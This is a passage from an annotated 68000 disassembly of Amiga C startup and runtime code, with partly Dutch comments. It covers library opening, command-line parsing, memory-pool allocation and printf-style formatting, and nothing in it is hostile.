  570.     DC.W    $7900            ;062E
  571. openmathtrans:
  572.     MOVEA.L    (ABSEXECBASE).W,A6    ;0630: 2C780004        exec ptr
  573.     LEA    mathtransname(PC),A1        ;0634: 43FA002A        haal mathieeedoubtrans.library naam op
  574.     JSR    _LVOOldOpenLibrary(A6)    ;0638: 4EAEFE68
  575.     MOVE.L    D0,LAB_0187        ;063C: 23C0000017B0    copieer d0 naar LAB_0187
  576.     BNE.S    LAB_0045        ;0642: 661A        error, einde rountine...
  577.     PEA    (20).W            ;0644: 48780014        
  578.     BSR    LAB_0001        ;0648: 6100FA2A
  579. closemathtrans:
  580.     MOVE.L    LAB_0187,D0        ;064C: 2039000017B0    ptr naar mathtrans lib
  581.     BEQ.S    LAB_0045        ;0652: 670A
  582.     MOVEA.L    D0,A1            ;0654: 2240
  583.     MOVEA.L    (ABSEXECBASE).W,A6    ;0656: 2C780004
  584.     JSR    _LVOCloseLibrary(A6)        ;065A: 4EAEFE62
  585. LAB_0045:
  586.     RTS                ;065E: 4E75
  587. mathtransname:
  588.     DC.W    $6D61            ;0660        'mathieeedoubtrans.library',0
  589.     MOVEQ    #104,D2            ;0662: 7468
  590.     DC.W    $6965            ;0664
  591.     DC.W    $6565            ;0666
  592.     DC.W    $646F            ;0668
  593.     DC.W    $7562            ;066A
  594.     MOVEQ    #114,D2            ;066C: 7472
  595.     BSR.S    LAB_0050        ;066E: 616E
  596.     DC.W    $732E            ;0670
  597.     DC.W    $6C69            ;0672
  598.     BHI.S    LAB_0051        ;0674: 6272
  599.     BSR.S    LAB_0052        ;0676: 6172
  600.     DC.W    $7900            ;0678
  601.     DC.W    $0000            ;067A
  602. LAB_0047:
  603.     MOVEM.L    D2-D6/A2-A3/A5-A6,-(A7)    ;067C: 48E73E36
  604.     MOVEM.L    40(A7),D0/A2        ;0680: 4CEF04010028
  605.     ADD.L    #$00000100,D0        ;0686: D0BC00000100    d0=257
  606.     MOVEA.L    (ABSEXECBASE).W,A6    ;068C: 2C780004
  607.     MOVEQ    #0,D1            ;0690: 7200        empty d1
  608.     JSR    _LVOAllocVec(A6)    ;0692: 4EAEFD54
  609.     MOVEA.L    D0,A5            ;0696: 2A40        copy vector to a5
  610.     MOVE.L    A5,LAB_0188        ;0698: 23CD000017B4    copieer vector naar buffer
  611. LAB_0048:
  612.     BEQ.S    LAB_004B        ;069E: 6722
  613. LAB_0049:
  614.     MOVEQ    #34,D4            ;06A0: 7822
  615.     MOVEQ    #32,D5            ;06A2: 7A20
  616.     MOVEQ    #10,D6            ;06A4: 7C0A
  617.     MOVEA.L    A5,A3            ;06A6: 264D
  618.     MOVEQ    #1,D3            ;06A8: 7601
  619.     MOVEA.L    dosstore,A6        ;06AA: 2C79000017A4
  620.     MOVE.L    A3,D1            ;06B0: 220B
  621.     MOVEQ    #0,D2            ;06B2: 7400
  622.     NOT    D2            ;06B4: 4642
  623.     JSR    GetProgramName(A6)    ;06B6: 4EAEFDC0
  624.     BEQ.S    LAB_004C        ;06BA: 670E
  625. LAB_004A:
  626.     TST.B    (A3)+            ;06BC: 4A1B
  627.     BNE.S    LAB_004A        ;06BE: 66FC
  628.     BRA.S    LAB_004E        ;06C0: 6012
  629. LAB_004B:
  630.     PEA    (1002).W        ;06C2: 487803EA
  631.     BSR    LAB_0001        ;06C6: 6100F9AC
  632. LAB_004C:
  633.     LEA    LAB_0068(PC),A0        ;06CA: 41FA00E4
  634. LAB_004D:
  635.     MOVE.B    (A0)+,D0        ;06CE: 1018
  636.     MOVE.B    D0,(A3)+        ;06D0: 16C0
  637.     BNE.S    LAB_004D        ;06D2: 66FA
  638. LAB_004E:
  639.     MOVE.L    A5,-512(A7)        ;06D4: 2F4DFE00
  640.     BRA.S    LAB_0056        ;06D8: 6040
  641. LAB_004F:
  642.     MOVE.B    (A2)+,D0        ;06DA: 101A
  643.     EXTB.L  d0
  644.  
  645. LAB_0050:
  646.     TST.L    D0            ;06DE: 4A80
  647.     BEQ.S    LAB_0052        ;06E0: 6708
  648.     CMP.L    D5,D0            ;06E2: B085
  649.     BEQ.S    LAB_004F        ;06E4: 67F4
  650.     CMP.L    D6,D0            ;06E6: B086
  651. LAB_0051:
  652.     BEQ.S    LAB_004F        ;06E8: 67F0
  653. LAB_0052:
  654.     TST.L    D0            ;06EA: 4A80
  655.     BEQ    LAB_0065        ;06EC: 67000092
  656.     MOVE.L    D3,D1            ;06F0: 2203
  657.     ADDQ.L    #1,D3            ;06F2: 5283
  658.     CMP.L    D4,D0            ;06F4: B084
  659.     BEQ.S    LAB_0057        ;06F6: 6724
  660.     DC.W    $2F8B            ;06F8
  661.     MOVE.B    -(A0),-(A6)        ;06FA: 1D20
  662.     DC.W    $FE00            ;06FC
  663.     SUBQ.L    #1,A2            ;06FE: 538A
  664.     BRA.S    LAB_0054        ;0700: 6002
  665. LAB_0053:
  666.     MOVE.B    D0,(A3)+        ;0702: 16C0
  667. LAB_0054:
  668.     MOVE.B    (A2)+,D0        ;0704: 101A
  669.     DC.W    $49C0            ;0706
  670.     TST.L    D0            ;0708: 4A80
  671.     BEQ.S    LAB_0055        ;070A: 6708
  672.     CMP.L    D5,D0            ;070C: B085
  673.     BEQ.S    LAB_0055        ;070E: 6704
  674.     CMP.L    D6,D0            ;0710: B086
  675.     BNE.S    LAB_0053        ;0712: 66EE
  676. LAB_0055:
  677.     CLR.B    (A3)+            ;0714: 421B
  678.     TST.L    D0            ;0716: 4A80
  679.     BEQ.S    LAB_0065        ;0718: 6766
  680. LAB_0056:
  681.     BRA.S    LAB_0064        ;071A: 605A
  682. LAB_0057:
  683.     ADDQ.L    #1,A3            ;071C: 528B
  684.     DC.W    $2F8B            ;071E
  685.     MOVE.B    -(A0),-(A6)        ;0720: 1D20
  686.     DC.W    $FE00            ;0722
  687.     BRA.S    LAB_0062        ;0724: 6046
  688. LAB_0058:
  689.     MOVEQ    #42,D4            ;0726: 782A
  690.     CMP.L    D4,D0            ;0728: B084
  691.     BNE.S    LAB_005F        ;072A: 6638
  692.     MOVE.B    (A2),D0            ;072C: 1012
  693.     CMP.B    #$45,D0            ;072E: B03C0045
  694.     BEQ.S    LAB_005C        ;0732: 6726
  695.     BGT.S    LAB_005B        ;0734: 6E14
  696.     CMP.B    #$22,D0            ;0736: B03C0022
  697.     BEQ.S    LAB_0059        ;073A: 6706
  698.     CMP.B    #$2A,D0            ;073C: B03C002A
  699.     BNE.S    LAB_005E        ;0740: 661E
  700. LAB_0059:
  701.     MOVE.B    (A2)+,(A3)        ;0742: 169A
  702.     BRA.S    LAB_0061        ;0744: 6024
  703. LAB_005A:
  704.     MOVEQ    #10,D0            ;0746: 700A
  705.     BRA.S    LAB_005D        ;0748: 6012
  706. LAB_005B:
  707.     CMP.B    #$4E,D0            ;074A: B03C004E
  708.     BEQ.S    LAB_005A        ;074E: 67F6
  709.     CMP.B    #$54,D0            ;0750: B03C0054
  710.     BNE.S    LAB_005E        ;0754: 660A
  711.     MOVEQ    #9,D0            ;0756: 7009
  712.     BRA.S    LAB_005D        ;0758: 6002
  713. LAB_005C:
  714.     MOVEQ    #27,D0            ;075A: 701B
  715. LAB_005D:
  716.     ADDQ.L    #1,A2            ;075C: 528A
  717.     BRA.S    LAB_0060        ;075E: 6008
  718. LAB_005E:
  719.     MOVEQ    #42,D0            ;0760: 702A
  720.     BRA.S    LAB_0060        ;0762: 6004
  721. LAB_005F:
  722.     CMP.L    D4,D0            ;0764: B084
  723.     BEQ.S    LAB_0063        ;0766: 670C
  724. LAB_0060:
  725.     MOVE.B    D0,(A3)            ;0768: 1680
  726. LAB_0061:
  727.     ADDQ.L    #1,A3            ;076A: 528B
  728. LAB_0062:
  729.     MOVE.B    (A2)+,D0        ;076C: 101A
  730.     DC.W    $49C0            ;076E
  731.     TST.L    D0            ;0770: 4A80
  732.     BNE.S    LAB_0058        ;0772: 66B2
  733. LAB_0063:
  734.     CLR.B    (A3)            ;0774: 4213
  735. LAB_0064:
  736.     CMP.L    #$00000080,D3        ;0776: B6BC00000080    d3=128?
  737.     BLT    LAB_004F        ;077C: 6D00FF5C
  738. LAB_0065:
  739.     PEA    -512(A7)        ;0780: 486FFE00
  740.     MOVE.L    D3,-(A7)        ;0784: 2F03
  741.     BSR    LAB_0003        ;0786: 6100F918
  742.     ADDQ    #8,A7            ;078A: 504F
  743.     MOVEM.L    (A7)+,D2-D6/A2-A3/A5-A6    ;078C: 4CDF6C7C
  744.     RTS                ;0790: 4E75
  745. LAB_0066:
  746.     MOVE.L    A6,-(A7)        ;0792: 2F0E
  747.     MOVEA.L    LAB_0188,A1        ;0794: 2279000017B4
  748.     DC.W    $4A49            ;079A
  749.     BEQ.S    LAB_0067        ;079C: 6708
  750.     MOVEA.L    (ABSEXECBASE).W,A6    ;079E: 2C780004
  751.     JSR    -690(A6)        ;07A2: 4EAEFD4E
  752. LAB_0067:
  753.     CLR.L    LAB_0188        ;07A6: 42B9000017B4
  754.     MOVEA.L    (A7)+,A6        ;07AC: 2C5F
  755.     RTS                ;07AE: 4E75
  756. LAB_0068:
  757.     DC.W    $3C75            ;07B0
  758.     DC.W    $6E6B            ;07B2
  759.     DC.W    $6E6F            ;07B4
  760.     DC.W    $776E            ;07B6
  761.     MOVE    D0,D7            ;07B8: 3E00
  762.     DC.W    $0000            ;07BA
  763. LAB_0069:
  764.     MOVEM.L    D2-D3/A2-A3/A5-A6,-(A7)    ;07BC: 48E73036        save op stack...
  765.     MOVE.L    28(A7),D3        ;07C0: 262F001C        200 naar d3
  766.     MOVE.L    #$00004000,D2        ;07C4: 243C00004000    16384 naar d2
  767.     ADDQ.L    #4,D3            ;07CA: 5883        d3=204
  768.     MOVEA.L    (ABSEXECBASE).W,A6    ;07CC: 2C780004        haal execbase op
  769.     LEA    LAB_0189,A3        ;07D0: 47F9000017B8    haal stdin/out op?
  770. LAB_006A:
  771.     TST.L    (A3)            ;07D6: 4A93        aanwezig?
  772.     BNE.S    LAB_006B        ;07D8: 661C        nope..
  773.     MOVEQ    #14,D0            ;07DA: 700E        
  774.     MOVEQ    #1,D1            ;07DC: 7201
  775.     SWAP    D1            ;07DE: 4841
  776.     JSR    -684(A6)        ;07E0: 4EAEFD54        AllocVec() (memory alloc)
  777.     MOVEA.L    D0,A1            ;07E4: 2240        adres van memoryblock naar a1
  778.     MOVE.L    D0,(A3)            ;07E6: 2680        adres hardcopied op adres in a3
  779.     BEQ.S    LAB_006F        ;07E8: 6750        bij error maar LAB_006f
  780.     LEA    4(A1),A0        ;07EA: 41E90004        1 long na memoryblock (skip 4 bytes)
  781.     MOVE.L    A0,(A1)            ;07EE: 2288        copy terug...
  782.     CLR.L    (A0)            ;07F0: 4290        maak plaats op a0 leeg
  783.     MOVE.L    D0,8(A1)        ;07F2: 23400008        copieer memoryblock adres naar 8 bytes achter memoryblock
  784. LAB_006B:
  785.     CMP.L    #$00004000,D3        ;07F6: B6BC00004000
  786.     BLS.S    LAB_006C        ;07FC: 6304        lager of gelijk aan 16384
  787.     MOVE.L    D3,D2            ;07FE: 2403
  788.     BRA.S    LAB_006E        ;0800: 6018
  789. LAB_006C:
  790.     MOVEA.L    (A3),A0            ;0802: 2053
  791.     MOVEA.L    (A0),A2            ;0804: 2450
  792.     TST.L    (A2)            ;0806: 4A92
  793.     BEQ.S    LAB_006E        ;0808: 6710
  794. LAB_006D:
  795.     MOVEA.L    A2,A0            ;080A: 204A
  796.     MOVE.L    D3,D0            ;080C: 2003
  797.     JSR    -186(A6)        ;080E: 4EAEFF46
  798.     BNE.S    LAB_0071        ;0812: 666A
  799.     MOVEA.L    (A2),A2            ;0814: 2452
  800.     TST.L    (A2)            ;0816: 4A92
  801.     BNE.S    LAB_006D        ;0818: 66F0
  802. LAB_006E:
  803.     MOVEQ    #32,D0            ;081A: 7020
  804.     MOVEQ    #1,D1            ;081C: 7201
  805.     SWAP    D1            ;081E: 4841
  806.     JSR    -684(A6)        ;0820: 4EAEFD54        memory alloc
  807.     BEQ.S    LAB_006F        ;0824: 6714        error
  808.     MOVEA.L    D0,A2            ;0826: 2440
  809.     ADDQ.L    #8,D2            ;0828: 5082        16348+8
  810.     MOVE.L    D2,D0            ;082A: 2002        naar d0
  811.     MOVEQ    #0,D1            ;082C: 7200        type mem waarschijnlijk
  812.     JSR    -198(A6)        ;082E: 4EAEFF3A        memory alloc (AllocMem)
  813.     BNE.S    LAB_0070        ;0832: 6614        error?
  814.     MOVEA.L    A2,A1            ;0834: 224A        mem blok naar a1
  815.     JSR    -690(A6)        ;0836: 4EAEFD4E        freevec
  816. LAB_006F:
  817.     MOVEA.L    LAB_018A,A0        ;083A: 2079000017BC
  818.     DC.W    $4A88            ;0840
  819.     BEQ.S    LAB_0074        ;0842: 6752
  820.     JSR    (A0)            ;0844: 4E90
  821.     BRA.S    LAB_006A        ;0846: 608E
  822. LAB_0070:
  823.     MOVEA.L    D0,A0            ;0848: 2040
  824.     MOVEQ    #10,D1            ;084A: 720A
  825.     MOVE.B    D1,8(A2)        ;084C: 15410008
  826.     MOVEA.L    A0,A5            ;0850: 2A48
  827.     MOVE.L    D0,16(A2)        ;0852: 25400010
  828.     ADDA.L    D2,A5            ;0856: DBC2
  829.     MOVE.L    D0,20(A2)        ;0858: 25400014
  830.     MOVE.L    A5,24(A2)        ;085C: 254D0018
  831.     MOVE.L    D2,28(A2)        ;0860: 2542001C
  832.     CLR.L    (A0)+            ;0864: 4298
  833.     MOVE.L    D2,(A0)            ;0866: 2082
  834.     MOVEA.L    LAB_0189,A0        ;0868: 2079000017B8
  835.     MOVEA.L    A2,A1            ;086E: 224A
  836.     JSR    -240(A6)        ;0870: 4EAEFF10        AddHead (node adden)
  837.     MOVEA.L    A2,A0            ;0874: 204A
  838.     MOVE.L    D3,D0            ;0876: 2003
  839.     JSR    -186(A6)        ;0878: 4EAEFF46        Allocate() (memory pool allocation)
  840.     BEQ.S    LAB_006F        ;087C: 67BC
  841. LAB_0071:
  842.     MOVEA.L    D0,A0            ;087E: 2040
  843.     MOVE.L    D3,(A0)+        ;0880: 20C3
  844.     MOVEA.L    A0,A1            ;0882: 2248
  845.     MOVE.L    D3,D0            ;0884: 2003
  846.     SUBQ.L    #4,D0            ;0886: 5980        d0=200
  847.     LSR.L    #2,D0            ;0888: E488        d0=50
  848.     BEQ.S    LAB_0073        ;088A: 6706
  849. LAB_0072:
  850.     CLR.L    (A1)+            ;088C: 4299        node legen? (50bytes)
  851.     SUBQ.L    #1,D0            ;088E: 5380        d0=49
  852.     BNE.S    LAB_0072        ;0890: 66FA        (50x)
  853. LAB_0073:
  854.     MOVE.L    A0,D0            ;0892: 2008
  855.     BRA.S    LAB_0075        ;0894: 6002
  856. LAB_0074:
  857.     MOVEQ    #0,D0            ;0896: 7000
  858. LAB_0075:
  859.     MOVEM.L    (A7)+,D2-D3/A2-A3/A5-A6    ;0898: 4CDF6C0C
  860.     RTS                ;089C: 4E75
  861. LAB_0076:
  862.     MOVEM.L    D2/A2-A3/A5-A6,-(A7)    ;089E: 48E72036
  863.     MOVEA.L    24(A7),A1        ;08A2: 226F0018
  864.     MOVEA.L    (ABSEXECBASE).W,A6    ;08A6: 2C780004
  865.     MOVEA.L    LAB_0189,A2        ;08AA: 2479000017B8
  866.     MOVEA.L    (A2),A3            ;08B0: 2652
  867.     BRA.S    LAB_0078        ;08B2: 6002
  868. LAB_0077:
  869.     MOVEA.L    (A3),A3            ;08B4: 2653
  870. LAB_0078:
  871.     MOVEA.L    (A3),A0            ;08B6: 2053
  872.     TST    (A0)            ;08B8: 4A50
  873.     BEQ.S    LAB_0079        ;08BA: 6748
  874.     LEA    20(A3),A5        ;08BC: 4BEB0014
  875.     CMPA.L    (A5),A1            ;08C0: B3D5
  876.     BCS.S    LAB_0077        ;08C2: 65F0
  877.     CMPA.L    24(A3),A1        ;08C4: B3EB0018
  878.     BCC.S    LAB_0077        ;08C8: 64EA
  879.     MOVE.L    -(A1),D0        ;08CA: 2021
  880.     MOVEA.L    A3,A0            ;08CC: 204B
  881.     JSR    _LVODeallocate(A6)    ;08CE: 4EAEFF40
  882.     MOVE.L    24(A3),D2        ;08D2: 242B0018
  883.     SUB.L    (A5),D2            ;08D6: 9495
  884.     MOVE.L    28(A3),D0        ;08D8: 202B001C
  885.     CMP.L    D2,D0            ;08DC: B082
  886.     BNE.S    LAB_0079        ;08DE: 6624
  887.     MOVEA.L    A3,A1            ;08E0: 224B
  888.     JSR    _LVORemove(A6)        ;08E2: 4EAEFF04
  889.     MOVE.L    D2,D0            ;08E6: 2002
  890.     MOVEA.L    (A5),A1            ;08E8: 2255
  891.     JSR    _LVOFreeMem(A6)        ;08EA: 4EAEFF2E
  892.     MOVEA.L    A3,A1            ;08EE: 224B
  893.     JSR    _LVOFreeVec(A6)        ;08F0: 4EAEFD4E
  894.     MOVEA.L    8(A2),A0        ;08F4: 206A0008
  895.     CMPA.L    A2,A0            ;08F8: B1CA
  896.     BNE.S    LAB_0079        ;08FA: 6608
  897.     MOVEA.L    A2,A1            ;08FC: 224A
  898.     JSR    _LVOFreeVec(A6)        ;08FE: 4EAEFD4E
  899.     CLR.L    (A2)            ;0902: 4292
  900. LAB_0079:
  901.     MOVEM.L    (A7)+,D2/A2-A3/A5-A6    ;0904: 4CDF6C04
  902.     RTS                ;0908: 4E75
  903. LAB_007A:
  904.     MOVEM.L    D2/A2/A6,-(A7)        ;090A: 48E72022
  905.     MOVEA.L    (ABSEXECBASE).W,A6    ;090E: 2C780004
  906.     MOVE.L    LAB_0189,D2        ;0912: 2439000017B8
  907.     BNE.S    LAB_007C        ;0918: 6618
  908.     BRA.S    LAB_007D        ;091A: 6024
  909. LAB_007B:
  910.     MOVEA.L    D0,A2            ;091C: 2440
  911.     MOVEA.L    20(A2),A1        ;091E: 226A0014
  912.     MOVE.L    24(A2),D0        ;0922: 202A0018
  913.     SUB.L    A1,D0            ;0926: 9089
  914.     JSR    -210(A6)        ;0928: 4EAEFF2E
  915.     MOVEA.L    A2,A1            ;092C: 224A
  916.     JSR    -690(A6)        ;092E: 4EAEFD4E
  917. LAB_007C:
  918.     MOVEA.L    D2,A0            ;0932: 2042
  919.     JSR    _LVORemHeadA6)        ;0934: 4EAEFEFE
  920.     BNE.S    LAB_007B        ;0938: 66E2
  921.     MOVEA.L    D2,A1            ;093A: 2242
  922.     JSR    _LVOFreeVec(A6)        ;093C: 4EAEFD4E
  923. LAB_007D:
  924.     MOVEM.L    (A7)+,D2/A2/A6        ;0940: 4CDF4404
  925.     RTS                ;0944: 4E75
  926.     DC.W    $0000            ;0946
  927. LAB_007E:
  928.     PEA    8(A7)            ;0948: 486F0008
  929.     MOVE.L    8(A7),-(A7)        ;094C: 2F2F0008
  930.     PEA    LAB_018B        ;0950: 4879000017C0
  931.     BSR    LAB_007F        ;0956: 61000008
  932.     LEA    12(A7),A7        ;095A: 4FEF000C
  933.     RTS                ;095E: 4E75
  934. LAB_007F:
  935.     LINK    A5,#-366        ;0960: 4E55FE92
  936.     MOVEM.L    D2-D7/A2-A4/A6,-(A7)    ;0964: 48E73F3A
  937.     MOVEA.L    12(A5),A2        ;0968: 246D000C
  938.     CLR.L    -50(A5)            ;096C: 42ADFFCE
  939.     BRA    LAB_0113        ;0970: 6000075A
  940. LAB_0080:
  941.     MOVEA.L    16(A5),A6        ;0974: 2C6D0010
  942.     MOVE.B    (A2),D0            ;0978: 1012
  943.     CMP.B    #$25,D0            ;097A: B03C0025
  944.     BNE    LAB_0112        ;097E: 66000748
  945.     CLR.L    -8(A5)            ;0982: 42ADFFF8
  946.     MOVEQ    #-1,D7            ;0986: 7EFF
  947.     MOVE.L    D7,(A4)            ;0988: 2887
  948.     MOVEQ    #0,D7            ;098A: 7E00
  949.     LEA    1(A2),A3        ;098C: 47EA0001
  950.     MOVE.L    A2,12(A5)        ;0990: 2B4A000C
  951.     LEA    -34(A5),A0        ;0994: 41EDFFDE
  952.     MOVEA.L    A0,A2            ;0998: 2448
  953. LAB_0081:
  954.     MOVEQ    #0,D2            ;099A: 7400
  955.     BRA.S    LAB_0084        ;099C: 601A
  956. LAB_0082:
  957.     LEA    LAB_0181,A1        ;099E: 43F90000177C
  958.     MOVE.B    0(A1,D2.L),D1        ;09A4: 12312800
  959.     CMP.B    (A3),D1            ;09A8: B213
  960.     BNE.S    LAB_0083        ;09AA: 660A
  961.     MOVEQ    #1,D0            ;09AC: 7001
  962.     ASL.L    D2,D0            ;09AE: E5A0
  963.     OR.L    D0,D7            ;09B0: 8E80
  964.     ADDQ.L    #1,A3            ;09B2: 528B
  965.     BRA.S    LAB_0085        ;09B4: 6008
  966. LAB_0083:
  967.     ADDQ.L    #1,D2            ;09B6: 5282
  968. LAB_0084:
  969.     MOVEQ    #5,D0            ;09B8: 7005
  970.     CMP.L    D0,D2            ;09BA: B480
  971.     BCS.S    LAB_0082        ;09BC: 65E0
  972. LAB_0085:
  973.     SUBQ.L    #5,D2            ;09BE: 5B82
  974.     BCS.S    LAB_0081        ;09C0: 65D8
  975.     MOVEQ    #10,D2            ;09C2: 740A
  976.     MOVEQ    #48,D3            ;09C4: 7630
  977.     MOVE.B    (A3),D0            ;09C6: 1013
  978.     CMP.B    #$2A,D0            ;09C8: B03C002A
  979.     BNE.S    LAB_0088        ;09CC: 6626
  980.     ADDQ.L    #1,A3            ;09CE: 528B
  981.     MOVE.L    (A6)+,D0        ;09D0: 201E
  982.     BPL.S    LAB_0086        ;09D2: 6A06
  983.     MOVEQ    #4,D1            ;09D4: 7204
  984.     OR.L    D1,D7            ;09D6: 8E81
  985.     NEG.L    D0            ;09D8: 4480
  986. LAB_0086:
  987.     MOVE.L    D0,-8(A5)        ;09DA: 2B40FFF8
  988.     BRA.S    LAB_0089        ;09DE: 6022
  989. LAB_0087:
  990.     MOVE.L    -8(A5),D5        ;09E0: 2A2DFFF8
  991.     DC.W    $4C02            ;09E4
  992.     ADDQ.B    #8,D5            ;09E6: 5005
  993.     MOVE.B    (A3)+,D0        ;09E8: 101B
  994.     DC.W    $49C0            ;09EA
  995.     SUB.L    D3,D0            ;09EC: 9083
  996.     ADD.L    D0,D5            ;09EE: DA80
  997.     MOVE.L    D5,-8(A5)        ;09F0: 2B45FFF8
  998. LAB_0088:
  999.     MOVE.B    (A3),D0            ;09F4: 1013
  1000.     CMP.B    #$30,D0            ;09F6: B03C0030
  1001.     BLT.S    LAB_0089        ;09FA: 6D06
  1002.     CMP.B    #$39,D0            ;09FC: B03C0039
  1003.     BLE.S    LAB_0087        ;0A00: 6FDE
  1004. LAB_0089:
  1005.     MOVE.B    (A3),D0            ;0A02: 1013
  1006.     CMP.B    #$2E,D0            ;0A04: B03C002E
  1007.     BNE.S    LAB_008D        ;0A08: 6634
  1008.     MOVE.B    (A3)+,D0        ;0A0A: 101B
  1009.     CMP.B    #$2A,D0            ;0A0C: B03C002A
  1010.     BNE.S    LAB_008A        ;0A10: 660A
  1011.     ADDQ.L    #1,A3            ;0A12: 528B
  1012.     MOVE.L    (A6)+,D0        ;0A14: 201E
  1013.     BMI.S    LAB_008D        ;0A16: 6B26
  1014.     MOVE.L    D0,(A4)            ;0A18: 2880
  1015.     BRA.S    LAB_008D        ;0A1A: 6022
  1016. LAB_008A:
  1017.     CLR.L    (A4)            ;0A1C: 4294
  1018.     BRA.S    LAB_008C        ;0A1E: 6010
  1019. LAB_008B:
  1020.     MOVE.L    (A4),D5            ;0A20: 2A14
  1021.     DC.W    $4C02            ;0A22
  1022.     ADDQ.B    #8,D5            ;0A24: 5005
  1023.     MOVE.B    (A3)+,D0        ;0A26: 101B
  1024.     DC.W    $49C0            ;0A28
  1025.     SUB.L    D3,D0            ;0A2A: 9083
  1026.     ADD.L    D0,D5            ;0A2C: DA80
  1027.     MOVE.L    D5,(A4)            ;0A2E: 2885
  1028. LAB_008C:
  1029.     MOVE.B    (A3),D0            ;0A30: 1013
  1030.     CMP.B    #$30,D0            ;0A32: B03C0030
  1031.     BLT.S    LAB_008D        ;0A36: 6D06
  1032.     CMP.B    #$39,D0            ;0A38: B03C0039
  1033.     BLE.S    LAB_008B        ;0A3C: 6FE2
  1034. LAB_008D:
  1035.     LEA    LAB_0182,A0        ;0A3E: 41F900001784
  1036.     MOVEQ    #0,D3            ;0A44: 7600
  1037.     CLR.L    -42(A5)            ;0A46: 42ADFFD6
  1038.     MOVE.B    (A3),D0            ;0A4A: 1013
  1039.     CMP.B    #$68,D0            ;0A4C: B03C0068
  1040.     BEQ.S    LAB_008E        ;0A50: 670E
  1041.     CMP.B    #$6C,D0            ;0A52: B03C006C
  1042.     BEQ.S    LAB_008E        ;0A56: 6708
  1043.     CMP.B    #$4C,D0            ;0A58: B03C004C
  1044.     BNE.S    LAB_008F        ;0A5C: 6604
  1045.     MOVEQ    #1,D3            ;0A5E: 7601
  1046. LAB_008E:
  1047.     ADDQ.L    #1,A3            ;0A60: 528B
  1048. LAB_008F:
  1049.     MOVE.B    (A3)+,D0        ;0A62: 101B
  1050.     MOVE.B    D0,-63(A5)        ;0A64: 1B40FFC1
  1051.     CMP.B    #$64,D0            ;0A68: B03C0064
  1052.     BEQ.S    LAB_0090        ;0A6C: 6706
  1053.     CMP.B    #$69,D0            ;0A6E: B03C0069
  1054.     BNE.S    LAB_0096        ;0A72: 6636
  1055. LAB_0090:
  1056.     MOVEQ    #10,D5            ;0A74: 7A0A
  1057.     TST.L    D3            ;0A76: 4A83
  1058.     BEQ.S    LAB_0092        ;0A78: 6712
  1059.     MOVE.L    (A6)+,D6        ;0A7A: 2C1E
  1060.     MOVE.L    (A6)+,D2        ;0A7C: 241E
  1061.     TST.L    D6            ;0A7E: 4A86
  1062.     BNE.S    LAB_0091        ;0A80: 6602
  1063.     TST.L    D2            ;0A82: 4A82
  1064. LAB_0091:
  1065.     BGE.S    LAB_0094        ;0A84: 6C10
  1066.     NEG.L    D2            ;0A86: 4482
  1067.     NEGX.L    D6            ;0A88: 4086
  1068.     BRA.S    LAB_0093        ;0A8A: 6006
  1069. LAB_0092:
  1070.     MOVE.L    (A6)+,D2        ;0A8C: 241E
  1071.     BPL.S    LAB_0094        ;0A8E: 6A06
  1072.     NEG.L    D2            ;0A90: 4482
  1073. LAB_0093:
  1074.     MOVEQ    #45,D1            ;0A92: 722D
  1075.     BRA.S    LAB_009D        ;0A94: 6072
  1076. LAB_0094:
  1077.     BTST    #4,D7            ;0A96: 08070004
  1078.     BEQ.S    LAB_0095        ;0A9A: 6704
  1079.     MOVEQ    #43,D1            ;0A9C: 722B
  1080.     BRA.S    LAB_009D        ;0A9E: 6068
  1081. LAB_0095:
  1082.     BTST    #3,D7            ;0AA0: 08070003
  1083.     BEQ.S    LAB_009E        ;0AA4: 676E
  1084.     MOVEQ    #32,D1            ;0AA6: 7220
  1085.     BRA.S    LAB_009D        ;0AA8: 605E
  1086. LAB_0096:
  1087.     CMP.B    #$70,D0            ;0AAA: B03C0070
  1088.     BNE.S    LAB_0097        ;0AAE: 6608
  1089.     MOVE.B    #$78,-63(A5)        ;0AB0: 1B7C0078FFC1
  1090.     BRA.S    LAB_0099        ;0AB6: 6014
  1091. LAB_0097:
  1092.     CMP.B    #$58,D0            ;0AB8: B03C0058
  1093.     BNE.S    LAB_0098        ;0ABC: 6608
  1094.     LEA    LAB_0183,A0        ;0ABE: 41F900001794
  1095.     BRA.S    LAB_0099        ;0AC4: 6006
  1096. LAB_0098:
  1097.     CMP.B    #$78,D0            ;0AC6: B03C0078
  1098.     BNE.S    LAB_009B        ;0ACA: 6624
  1099. LAB_0099:
  1100.     MOVEQ    #16,D5            ;0ACC: 7A10
  1101.     TST.L    D3            ;0ACE: 4A83
  1102.     BEQ.S    LAB_009A        ;0AD0: 6702
  1103.     MOVE.L    (A6)+,D6        ;0AD2: 2C1E
  1104. LAB_009A:
  1105.     MOVE.L    (A6)+,D2        ;0AD4: 241E
  1106.     BTST    #0,D7            ;0AD6: 08070000
  1107.     BEQ.S    LAB_00A1        ;0ADA: 674A
  1108.     MOVE.L    -42(A5),D0        ;0ADC: 202DFFD6
  1109.     ADDQ.L    #1,-42(A5)        ;0AE0: 52ADFFD6
  1110.     MOVE.B    #$30,-18(A5,D0.L)    ;0AE4: 1BBC003008EE
  1111.     MOVE.B    -63(A5),D1        ;0AEA: 122DFFC1
  1112.     BRA.S    LAB_009D        ;0AEE: 6018
  1113. LAB_009B:
  1114.     CMP.B    #$6F,D0            ;0AF0: B03C006F
  1115.     BNE.S    LAB_009F        ;0AF4: 6620
  1116.     MOVEQ    #8,D5            ;0AF6: 7A08
  1117.     TST.L    D3            ;0AF8: 4A83
  1118.     BEQ.S    LAB_009C        ;0AFA: 6702
  1119.     MOVE.L    (A6)+,D6        ;0AFC: 2C1E
  1120. LAB_009C:
  1121.     MOVE.L    (A6)+,D2        ;0AFE: 241E
  1122.     BTST    #0,D7            ;0B00: 08070000
  1123.     BEQ.S    LAB_00A1        ;0B04: 6720
  1124.     MOVEQ    #48,D1            ;0B06: 7230
  1125. LAB_009D:
  1126.     MOVE.L    -42(A5),D0        ;0B08: 202DFFD6
  1127.     ADDQ.L    #1,-42(A5)        ;0B0C: 52ADFFD6
  1128.     MOVE.B    D1,-18(A5,D0.L)        ;0B10: 1B8108EE
  1129. LAB_009E:
  1130.     BRA.S    LAB_00A1        ;0B14: 6010
  1131. LAB_009F:
  1132.     CMP.B    #$75,D0            ;0B16: B03C0075
  1133.     BNE.S    LAB_00A5        ;0B1A: 6654
  1134.     TST.L    D3            ;0B1C: 4A83
  1135.     BEQ.S    LAB_00A0        ;0B1E: 6702
  1136.     MOVE.L    (A6)+,D6        ;0B20: 2C1E
  1137. LAB_00A0:
  1138.     MOVE.L    (A6)+,D2        ;0B22: 241E
